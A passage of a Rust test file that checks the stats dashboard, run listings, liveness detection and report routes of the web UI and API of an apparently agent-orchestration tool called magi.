11085 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11086 }
11087 }
11088
11089 #[test]
11090 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11091 let start = APP_JS
11092 .find("function renderStatsReviewerScatter(")
11093 .expect("renderStatsReviewerScatter exists");
11094 let body = &APP_JS[start..];
11095 let body = &body[..body.find("\n}\n").expect("function end")];
11096 assert!(body.contains("statsScatterPlan(reviewers)"));
11097 assert!(body.contains("statsAgentTone(d.agent)"));
11098 assert!(APP_JS.contains("function statsScatterPlan("));
11099 assert!(
11100 APP_JS.contains("d.submitted < STATS_LOW_N")
11101 || APP_JS.contains("r.submitted < STATS_LOW_N")
11102 );
11103 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11104 assert!(APP_CSS.contains(".precision-scatter"));
11105 }
11106
11107 #[test]
11108 fn advisor_reflection_is_drawn_as_stacked_segments() {
11109 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11110 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11111 let html = include_str!("../assets/ui/index.html");
11112 assert!(html.contains("Approximate"));
11113 for label in ["reflected strongly", "faint", "no proposal"] {
11114 assert!(html.contains(label));
11115 }
11116 let css = include_str!("../assets/ui/app.css");
11117 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11118 assert!(css.contains(&format!(".{c} {{")));
11119 }
11120 }
11121
11122 #[test]
11123 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11124 assert!(APP_JS.contains("function statsDailyPlan("));
11125 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11126 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11127 }
11128
11129 #[test]
11130 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11131 let start = APP_JS
11132 .find("function scheduleSearch(")
11133 .expect("scheduleSearch exists");
11134 let body = &APP_JS[start..];
11135 let body = &body[..body.find("\n}\n").expect("function end")];
11136 assert!(body.contains("s.seq += 1"));
11137 }
11138
11139 #[tokio::test]
11144 async fn stats_runs_unreadable_matches_health() {
11145 let f = Fixture::start().await;
11146 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11147 let broken = f.runs().join("20260902-140502-bad");
11148 std::fs::create_dir_all(&broken).expect("run dir");
11149 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11150
11151 let stats = f.get("/api/stats").await;
11152 let health = f.get("/api/health").await;
11153
11154 assert_eq!(stats.status, 200);
11155 assert_eq!(stats.json()["totals"]["runs"], 1);
11156 assert_eq!(stats.json()["runs_unreadable"], 1);
11157 assert_eq!(
11158 stats.json()["runs_unreadable"],
11159 health.json()["runs_unreadable"],
11160 "the dashboard and /api/health must never disagree about how many \
11161 runs could not be read"
11162 );
11163 }
11164
11165 #[tokio::test]
11166 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11167 let f = Fixture::start().await;
11168 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11169 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11170 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11171
11172 let totals = &f.get("/api/stats").await.json()["totals"];
11173 assert_eq!(totals["runs"], 3);
11174 assert_eq!(totals["merged"], 1);
11175 assert_eq!(totals["stalled"], 1);
11176 assert_eq!(totals["in_progress"], 1);
11177 assert_eq!(totals["blocked"], 0);
11180 assert_eq!(totals["ready"], 0);
11181 }
11182
11183 #[tokio::test]
11184 async fn stats_advisors_report_proposals_and_reflection() {
11185 use crate::advise::{Advice, AdvisorRecord, Reflection};
11186 use crate::verdict::Proposal;
11187
11188 let f = Fixture::start().await;
11189 let mut state = RunState::new(
11190 PathBuf::from("/repo/magi"),
11191 "main".to_owned(),
11192 "0123456789abcdef".to_owned(),
11193 "task".to_owned(),
11194 Config::default(),
11195 );
11196 state.id = "20260902-140501-a".to_owned();
11197 state.status = RunStatus::Merged;
11198 state.advice = Some(Advice {
11199 records: vec![
11200 AdvisorRecord {
11201 seat: "advisor-1".to_owned(),
11202 agent: "alpha".to_owned(),
11203 proposal: Some(Proposal {
11204 approach: "do it".to_owned(),
11205 key_tradeoff: "speed over memory".to_owned(),
11206 risks: Vec::new(),
11207 touches: Vec::new(),
11208 why_not_naive: "breaks under load".to_owned(),
11209 }),
11210 error: None,
11211 duration_ms: 0,
11212 reflection: Reflection::Strong,
11213 },
11214 AdvisorRecord {
11215 seat: "advisor-2".to_owned(),
11216 agent: "alpha".to_owned(),
11217 proposal: None,
11218 error: Some("timed out".to_owned()),
11219 duration_ms: 0,
11220 reflection: Reflection::Absent,
11221 },
11222 ],
11223 synthesis: Some("blended brief".to_owned()),
11224 });
11225 let dir = f.runs().join(&state.id);
11226 std::fs::create_dir_all(&dir).expect("run dir");
11227 std::fs::write(
11228 dir.join("run.json"),
11229 serde_json::to_string_pretty(&state).expect("serialize run"),
11230 )
11231 .expect("write run.json");
11232
11233 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11234 let alpha = advisors
11235 .as_array()
11236 .expect("an array")
11237 .iter()
11238 .find(|a| a["agent"] == "alpha")
11239 .expect("alpha row");
11240 assert_eq!(alpha["seated"], 2);
11241 assert_eq!(alpha["proposed"], 1);
11242 assert_eq!(alpha["absent"], 1);
11243 assert_eq!(alpha["strong"], 1);
11244 assert_eq!(alpha["faint"], 0);
11245 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11246 }
11247
11248 #[tokio::test]
11249 async fn stats_release_bumps_split_clean_from_attention() {
11250 use crate::run::ReleaseBump;
11251
11252 let f = Fixture::start().await;
11253
11254 let mut clean = RunState::new(
11255 PathBuf::from("/repo/magi"),
11256 "main".to_owned(),
11257 "0123456789abcdef".to_owned(),
11258 "task".to_owned(),
11259 Config::default(),
11260 );
11261 clean.id = "20260902-140501-a".to_owned();
11262 clean.status = RunStatus::Merged;
11263 clean.release_bump = Some(ReleaseBump {
11264 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11265 version: Some("1.0.0".to_owned()),
11266 automerge_enabled: true,
11267 merged_directly: false,
11268 local: false,
11269 release: None,
11270 problem: None,
11271 action_required: None,
11272 });
11273
11274 let mut blocked = RunState::new(
11275 PathBuf::from("/repo/magi"),
11276 "main".to_owned(),
11277 "0123456789abcdef".to_owned(),
11278 "task".to_owned(),
11279 Config::default(),
11280 );
11281 blocked.id = "20260902-140502-b".to_owned();
11282 blocked.status = RunStatus::Merged;
11283 blocked.release_bump = Some(ReleaseBump {
11284 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11285 version: Some("1.0.1".to_owned()),
11286 automerge_enabled: false,
11287 merged_directly: false,
11288 local: false,
11289 release: None,
11290 problem: Some("checks red".to_owned()),
11291 action_required: Some("look at the PR".to_owned()),
11292 });
11293
11294 for state in [&clean, &blocked] {
11295 let dir = f.runs().join(&state.id);
11296 std::fs::create_dir_all(&dir).expect("run dir");
11297 std::fs::write(
11298 dir.join("run.json"),
11299 serde_json::to_string_pretty(state).expect("serialize run"),
11300 )
11301 .expect("write run.json");
11302 }
11303
11304 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11305 assert_eq!(bumps["merged"], 2);
11306 assert_eq!(bumps["recorded"], 2);
11307 assert_eq!(bumps["pr_opened"], 2);
11308 assert_eq!(bumps["automerge_enabled"], 1);
11309 assert_eq!(bumps["needs_attention"], 1);
11310 assert_eq!(bumps["clean"], 1);
11311 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11312 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11313 }
11314
11315 #[tokio::test]
11316 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11317 let f = Fixture::start().await;
11318 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11319
11320 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11321 assert_eq!(bumps["merged"], 1);
11322 assert_eq!(bumps["recorded"], 0);
11323 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11326 assert_eq!(bumps["automerge_rate"], Value::Null);
11329 assert_eq!(bumps["attention_rate"], Value::Null);
11330 }
11331
11332 #[tokio::test]
11333 async fn stats_queue_counts_come_from_the_live_queue() {
11334 let f = Fixture::start().await;
11335 let q = f.queue();
11336 let mut queued = Task::new(
11337 "queued task".to_owned(),
11338 "do it".to_owned(),
11339 PathBuf::from("/repo"),
11340 Source::Human,
11341 );
11342 q.put(&mut queued).expect("put queued");
11343 let mut held = Task::new(
11344 "held task".to_owned(),
11345 "do it later".to_owned(),
11346 PathBuf::from("/repo"),
11347 Source::Human,
11348 );
11349 held.hold_machine(Some("out of attempts".to_owned()));
11350 q.put(&mut held).expect("put held");
11351
11352 let queue = f.get("/api/stats").await.json()["queue"].clone();
11353 assert_eq!(queue["queued"], 1);
11354 assert_eq!(queue["held"], 1);
11355 assert_eq!(queue["running"], 0);
11356 assert_eq!(queue["done"], 0);
11357 assert_eq!(queue["failed"], 0);
11358 assert_eq!(queue["blocked"], 0);
11359 }
11360
11361 #[tokio::test]
11362 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11363 let f = Fixture::start().await;
11364 let stats = f.get("/api/stats").await;
11365 assert_eq!(stats.status, 200);
11366 assert_eq!(stats.json()["totals"]["runs"], 0);
11367 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11368 assert_eq!(stats.json()["runs_unreadable"], 0);
11369 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11370 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11371 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11372 assert_eq!(stats.json()["repo"], Value::Null);
11373 }
11374
11375 #[tokio::test]
11376 async fn stats_lists_every_repository_with_runs_recorded() {
11377 let f = Fixture::start().await;
11378 write_run_repo(
11379 &f.runs(),
11380 "20260902-140501-a",
11381 RunStatus::Merged,
11382 "/repos/a",
11383 );
11384 write_run_repo(
11385 &f.runs(),
11386 "20260902-140502-b",
11387 RunStatus::Merged,
11388 "/repos/a",
11389 );
11390 write_run_repo(
11391 &f.runs(),
11392 "20260902-140503-c",
11393 RunStatus::Blocked,
11394 "/repos/b",
11395 );
11396
11397 let stats = f.get("/api/stats").await;
11398 assert_eq!(stats.status, 200);
11399 assert_eq!(stats.json()["totals"]["runs"], 3);
11401 assert_eq!(stats.json()["repo"], Value::Null);
11402
11403 let repos = stats.json()["repos"].clone();
11404 let repos = repos.as_array().unwrap();
11405 assert_eq!(repos.len(), 2);
11406 assert_eq!(repos[0]["repo"], "/repos/a");
11408 assert_eq!(repos[0]["name"], "a");
11409 assert_eq!(repos[0]["runs"], 2);
11410 assert_eq!(repos[1]["repo"], "/repos/b");
11411 assert_eq!(repos[1]["runs"], 1);
11412 }
11413
11414 #[tokio::test]
11415 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11416 let f = Fixture::start().await;
11417 write_run_repo(
11418 &f.runs(),
11419 "20260902-140501-a",
11420 RunStatus::Merged,
11421 "/repos/a",
11422 );
11423 write_run_repo(
11424 &f.runs(),
11425 "20260902-140502-b",
11426 RunStatus::Blocked,
11427 "/repos/b",
11428 );
11429
11430 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11431 assert_eq!(stats.status, 200);
11432 assert_eq!(stats.json()["totals"]["runs"], 1);
11433 assert_eq!(stats.json()["totals"]["merged"], 1);
11434 assert_eq!(stats.json()["repo"], "/repos/a");
11435 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11438 assert_eq!(stats.json()["runs_unreadable"], 0);
11441 }
11442
11443 #[tokio::test]
11444 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11445 let f = Fixture::start().await;
11446 write_run_repo(
11447 &f.runs(),
11448 "20260902-140501-a",
11449 RunStatus::Merged,
11450 "/repos/a",
11451 );
11452 write_run_repo(
11453 &f.runs(),
11454 "20260902-140502-b",
11455 RunStatus::Merged,
11456 "/repos/b",
11457 );
11458
11459 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11460 let json = f.get(uri).await.json();
11461 let daily = json["daily"].as_array().expect("daily is an array");
11462 assert_eq!(daily.len(), 30);
11463 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11464 let mut sorted = dates.clone();
11465 sorted.sort();
11466 assert_eq!(dates, sorted);
11467 for d in daily {
11468 assert_eq!(
11469 d["merged"].as_u64().unwrap()
11470 + d["ready"].as_u64().unwrap()
11471 + d["other"].as_u64().unwrap(),
11472 d["runs"].as_u64().unwrap()
11473 );
11474 }
11475 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11476 }
11477 }
11478
11479 #[tokio::test]
11480 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11481 let f = Fixture::start().await;
11482 write_run_repo(
11483 &f.runs(),
11484 "20260902-140501-a",
11485 RunStatus::Merged,
11486 "/repos/a",
11487 );
11488
11489 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11490 assert_eq!(stats.status, 404);
11491 }
11492
11493 #[tokio::test]
11494 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11495 let f = Fixture::start().await;
11496 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11497
11498 let summary = f.get("/api/runs").await.json();
11499 let row = &summary[0];
11500 assert_eq!(row["short"], "a1b2");
11501 assert_eq!(row["status"], "ready");
11502 assert_eq!(row["done"], true);
11503 assert_eq!(row["title"], "Add a web UI");
11504 assert_eq!(row["repo_name"], "magi");
11505 assert_eq!(row["judges"], 3);
11506 assert_eq!(row["winner"], Value::Null);
11507 assert_eq!(row["reviews"], 0);
11508
11509 let detail = f.get("/api/runs/a1b2").await;
11512 assert_eq!(detail.status, 200);
11513 assert_eq!(detail.json()["base_branch"], "main");
11514 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11515 }
11516
11517 #[tokio::test]
11525 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11526 let f = Fixture::start().await;
11527
11528 let mut none_run = RunState::new(
11529 PathBuf::from("/repo/magi"),
11530 "main".to_owned(),
11531 "0123456789abcdef".to_owned(),
11532 "Add a web UI".to_owned(),
11533 Config::default(),
11534 );
11535 none_run.id = "20260902-140503-none".to_owned();
11536 none_run.status = RunStatus::Ready;
11537 none_run.merge = Some(crate::run::MergeOutcome {
11538 mode: crate::config::MergeMode::None,
11539 ok: true,
11540 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11541 empty: false,
11542 });
11543 write_state(&f.runs(), &none_run);
11544
11545 let mut pr_run = RunState::new(
11546 PathBuf::from("/repo/magi"),
11547 "main".to_owned(),
11548 "0123456789abcdef".to_owned(),
11549 "Add a web UI".to_owned(),
11550 Config::default(),
11551 );
11552 pr_run.id = "20260902-140504-prcl".to_owned();
11553 pr_run.status = RunStatus::Ready;
11554 pr_run.merge = Some(crate::run::MergeOutcome {
11555 mode: crate::config::MergeMode::Pr,
11556 ok: false,
11557 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11558 empty: false,
11559 });
11560 write_state(&f.runs(), &pr_run);
11561
11562 let summary = f.get("/api/runs").await.json();
11563 let rows: std::collections::HashMap<&str, &Value> = summary
11564 .as_array()
11565 .expect("an array")
11566 .iter()
11567 .map(|r| (r["id"].as_str().expect("an id"), r))
11568 .collect();
11569 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11570 assert_eq!(
11571 rows[none_run.id.as_str()]["unmerged_by_design"],
11572 true,
11573 "a mode-none Ready must be flagged in the list"
11574 );
11575 assert_eq!(
11576 rows[pr_run.id.as_str()]["unmerged_by_design"],
11577 false,
11578 "a Ready reached by a closed pull request is a different case"
11579 );
11580
11581 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11582 assert_eq!(none_detail["status"], "ready");
11583 assert_eq!(none_detail["unmerged_by_design"], true);
11584
11585 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11586 assert_eq!(pr_detail["unmerged_by_design"], false);
11587 }
11588
11589 #[tokio::test]
11594 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11595 let f = Fixture::start().await;
11596 let id = "20260902-140502-bbbb";
11600 let mut state = RunState::new(
11601 PathBuf::from("/repo/magi"),
11602 "main".to_owned(),
11603 "0123456789abcdef".to_owned(),
11604 "Add a web UI".to_owned(),
11605 Config::default(),
11606 );
11607 state.id = id.to_owned();
11608 state.status = RunStatus::Judging;
11609 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11610 let dir = f.runs().join(id);
11611 std::fs::create_dir_all(&dir).expect("run dir");
11612 std::fs::write(
11613 dir.join("run.json"),
11614 serde_json::to_string_pretty(&state).expect("serialize run"),
11615 )
11616 .expect("write run.json");
11617
11618 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11624 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11625 assert_eq!(cold["live"], "unknown", "{cold}");
11626
11627 write_daemon(f.home.path(), Timestamp::now());
11630 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11631 assert_eq!(warm["live"], "live", "{warm}");
11632 }
11633
11634 #[tokio::test]
11637 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11638 let f = Fixture::start().await;
11639 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11640 let mut state = RunState::new(
11641 PathBuf::from("/repo/magi"),
11642 "main".to_owned(),
11643 "0123456789abcdef".to_owned(),
11644 "Add a web UI".to_owned(),
11645 Config::default(),
11646 );
11647 state.id = id.to_owned();
11648 state.origin = origin;
11649 let mut value = serde_json::to_value(&state).expect("serialize run");
11650 if let Some(schema) = schema {
11651 value["schema"] = serde_json::json!(schema);
11652 value.as_object_mut().unwrap().remove("origin");
11653 }
11654 let dir = f.runs().join(id);
11655 std::fs::create_dir_all(&dir).expect("run dir");
11656 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11657 };
11658 write(
11659 "20260930-092817-ec34",
11660 Some(crate::run::Origin::from_agent_env(
11661 Some(("4a7b".to_owned(), "chat".to_owned())),
11662 None,
11663 )),
11664 None,
11665 );
11666 write("20260930-092817-0ld1", None, Some(12));
11667
11668 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11669 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11670 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11671
11672 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11673 assert_eq!(
11674 old["origin_label"], "origin unknown (started before origins were recorded)",
11675 "{old}"
11676 );
11677 assert!(old["origin"].is_null(), "{old}");
11678
11679 let list = f.get("/api/runs").await.json();
11680 let labels: Vec<_> = list
11681 .as_array()
11682 .unwrap()
11683 .iter()
11684 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11685 .collect();
11686 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11687 }
11688
11689 #[tokio::test]
11696 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11697 let f = Fixture::start().await;
11698 let id = "20260922-090000-cccc";
11699 let mut state = RunState::new(
11700 PathBuf::from("/repo/magi"),
11701 "main".to_owned(),
11702 "0123456789abcdef".to_owned(),
11703 "Review only".to_owned(),
11704 Config::default(),
11705 );
11706 state.id = id.to_owned();
11707 state.status = RunStatus::Reviewing;
11708 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11709 state.driver_pid = Some(std::process::id());
11715 state.driver_started_at = Some(
11716 crate::proc::process_started_at(std::process::id())
11717 .expect("this test process's own start time must be queryable"),
11718 );
11719 let dir = f.runs().join(id);
11720 std::fs::create_dir_all(&dir).expect("run dir");
11721 std::fs::write(
11722 dir.join("run.json"),
11723 serde_json::to_string_pretty(&state).expect("serialize run"),
11724 )
11725 .expect("write run.json");
11726
11727 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11728 assert_eq!(detail["live"], "live", "{detail}");
11729 }
11730
11731 #[tokio::test]
11737 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11738 let f = Fixture::start().await;
11739 let id = "20260922-090100-dddd";
11740 let mut state = RunState::new(
11741 PathBuf::from("/repo/magi"),
11742 "main".to_owned(),
11743 "0123456789abcdef".to_owned(),
11744 "Review only".to_owned(),
11745 Config::default(),
11746 );
11747 state.id = id.to_owned();
11748 state.status = RunStatus::Reviewing;
11749 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11750 state.driver_pid = Some(std::process::id());
11755 state.driver_started_at = Some("1".to_owned());
11756 let dir = f.runs().join(id);
11757 std::fs::create_dir_all(&dir).expect("run dir");
11758 std::fs::write(
11759 dir.join("run.json"),
11760 serde_json::to_string_pretty(&state).expect("serialize run"),
11761 )
11762 .expect("write run.json");
11763
11764 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11765 assert_eq!(detail["live"], "dead", "{detail}");
11766 }
11767
11768 #[test]
11772 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11773 let mk = |id: &str, pid: Option<u32>| {
11774 let mut s = RunState::new(
11775 PathBuf::from("/repo/magi"),
11776 "main".to_owned(),
11777 "0123456789abcdef".to_owned(),
11778 "Add a web UI".to_owned(),
11779 Config::default(),
11780 );
11781 s.id = id.to_owned();
11782 s.driver_pid = pid;
11783 s.driver_started_at = Some("1790000000".to_owned());
11784 s
11785 };
11786 let states = vec![
11787 mk("20260902-140502-aaaa", Some(77)),
11788 mk("20260902-140502-bbbb", Some(77)),
11789 mk("20260902-140502-cccc", Some(77)),
11790 mk("20260902-140502-dddd", None),
11791 ];
11792 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11793 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11794 let sup: HashMap<String, String> = [(
11795 "20260902-140502-aaaa".to_owned(),
11796 "20260902-140502-cccc".to_owned(),
11797 )]
11798 .into();
11799
11800 let status_calls = std::cell::Cell::new(0);
11801 let identity_calls = std::cell::Cell::new(0);
11802 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11803 |_| {
11804 status_calls.set(status_calls.get() + 1);
11805 Some(true)
11806 },
11807 |_| {
11808 identity_calls.set(identity_calls.get() + 1);
11809 Some("1790000000".to_owned())
11810 },
11811 ));
11812 let rows = summarize(
11813 states,
11814 &open,
11815 &claimed,
11816 &sup,
11817 |p| probe.borrow_mut().status(p),
11818 |p| probe.borrow_mut().started_at(p),
11819 );
11820
11821 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11822 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11823 assert_eq!(rows.len(), 4);
11824 assert!(!rows[0].waiting && rows[1].waiting);
11825 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11826 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11827 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11828 assert_eq!(rows[1].superseded_by, None);
11829 }
11830
11831 #[test]
11832 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11833 let mut state = RunState::new(
11834 PathBuf::from("/repo/magi"),
11835 "main".to_owned(),
11836 "0123456789abcdef".to_owned(),
11837 "Review only".to_owned(),
11838 Config::default(),
11839 );
11840 state.id = "20260922-090200-dead".to_owned();
11841 state.status = RunStatus::Reviewing;
11842 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11843 .expect("serialize list row");
11844 assert_eq!(row["status"], "reviewing");
11845 assert_eq!(row["live"], "dead", "{row}");
11846 assert!(!row["done"].as_bool().unwrap());
11847 }
11848
11849 #[tokio::test]
11850 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11851 let f = Fixture::start().await;
11852 for id in [
11853 "20260902-140501-aaaa",
11854 "20260902-140502-bbbb",
11855 "20260902-140503-cccc",
11856 ] {
11857 write_run(&f.runs(), id, RunStatus::Merged);
11858 }
11859
11860 let all = f.get("/api/runs").await.json();
11861 let capped = f.get("/api/runs?limit=2").await.json();
11862
11863 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11864 assert_eq!(all.as_array().map(Vec::len), Some(3));
11865 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11866 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11867 }
11868
11869 #[tokio::test]
11870 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11871 let f = Fixture::start().await;
11872 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11873
11874 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11875
11876 assert_eq!(res.status, 200);
11877 assert!(
11878 res.headers
11879 .contains("content-type: text/plain; charset=utf-8"),
11880 "a browser must render it, not download it: {}",
11881 res.headers
11882 );
11883 assert!(
11887 res.body.contains("20260902-140501-a1b2"),
11888 "the report is about the run that was asked for: {}",
11889 res.body
11890 );
11891 }
11892
11893 #[tokio::test]
11894 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11895 crate::run::pin_test_home();
11897 let f = Fixture::start().await;
11898 let id = "20260902-140501-a1b2";
11899 write_run(&f.runs(), id, RunStatus::Stalled);
11900 let path = f.runs().join(id).join("run.json");
11903 let mut v: serde_json::Value =
11904 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11905 v["tally"] = serde_json::json!({
11906 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11907 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11908 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11909 "met_quorum": false, "rankings": 1
11910 });
11911 v["reviews"] = serde_json::json!([{
11912 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11913 "e2e_deferred": true,
11914 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11915 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11916 ]}]
11917 }]);
11918 std::fs::write(&path, v.to_string()).unwrap();
11919 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11920 std::fs::write(
11921 f.runs().join("20260902-140502-dead").join("run.json"),
11922 "{not json",
11923 )
11924 .unwrap();
11925
11926 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11927
11928 assert_eq!(res.status, 200, "{}", res.body);
11929 assert!(res.headers.contains("content-type: application/json"));
11930 let j = res.json();
11931 assert_eq!(j["schema"], 1);
11932 assert_eq!(j["header"]["id"], id);
11933 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11934 let kinds: Vec<&str> = j["sections"]
11935 .as_array()
11936 .unwrap()
11937 .iter()
11938 .map(|s| s["kind"].as_str().unwrap())
11939 .collect();
11940 assert_eq!(kinds, ["candidates", "tally", "review"]);
11941 let tally = &j["sections"][1]["tally"];
11942 assert_eq!(
11943 (tally["decided"].clone(), tally["provisional"].clone()),
11944 (false.into(), true.into())
11945 );
11946 let round = &j["sections"][2]["rounds"][0];
11947 assert_eq!(round["e2e"]["state"], "deferred");
11948 assert_eq!(round["findings"][0]["severity"], "major");
11949 assert_eq!(round["findings"][0]["blocking"], true);
11950 assert_eq!(round["findings"][0]["state"], "open");
11951
11952 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11954
11955 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11957 assert_ne!(bad.status, 200, "{}", bad.body);
11958 assert_eq!(
11959 bad.status,
11960 f.get("/api/runs/20260902-140502-dead/report").await.status
11961 );
11962 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11963 assert_eq!(
11964 f.get("/api/runs/20260902-999999-ffff/report.json")
11965 .await
11966 .status,
11967 404
11968 );
11969 }
11970
11971 #[tokio::test]
11972 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11973 let f = Fixture::start().await;
11974
11975 let html = f.get("/").await;
11976 let css = f.get("/app.css").await;
11977 let js = f.get("/app.js").await;
11978
11979 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11980 assert!(
11981 html.headers
11982 .contains("content-type: text/html; charset=utf-8")
11983 );
11984 assert!(css.headers.contains("content-type: text/css"));
11985 assert!(js.headers.contains("content-type: text/javascript"));
11986 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11987 }
11988
11989 #[test]
11990 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11991 let body = |name: &str| {
11992 let at = APP_JS
11993 .find(name)
11994 .unwrap_or_else(|| panic!("{name} missing"));
11995 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11996 };
11997 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11998 let note = body("function landRoundNote");
11999 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12000 assert!(note.contains("Land round ${round}"));
12001 let land = body("function renderLand");
12002 let note_at = land
12003 .find("landRoundNote(pr)")
12004 .expect("renderLand uses the note");
12005 assert!(
12006 note_at
12007 < land
12008 .find("roundRail(pr)")
12009 .expect("renderLand uses the rail")
12010 );
12011 }
12012
12013 #[test]
12014 fn the_runs_page_redesign_keeps_its_guards() {
12015 let body = |name: &str| {
12016 let at = APP_JS
12017 .find(name)
12018 .unwrap_or_else(|| panic!("{name} missing"));
12019 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12020 };
12021 let land = body("function renderLand");
12023 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12024 assert!(
12025 !land.contains("box.append("),
12026 "renderLand must use append()"
12027 );
12028 assert!(land.contains("append(box, ["));
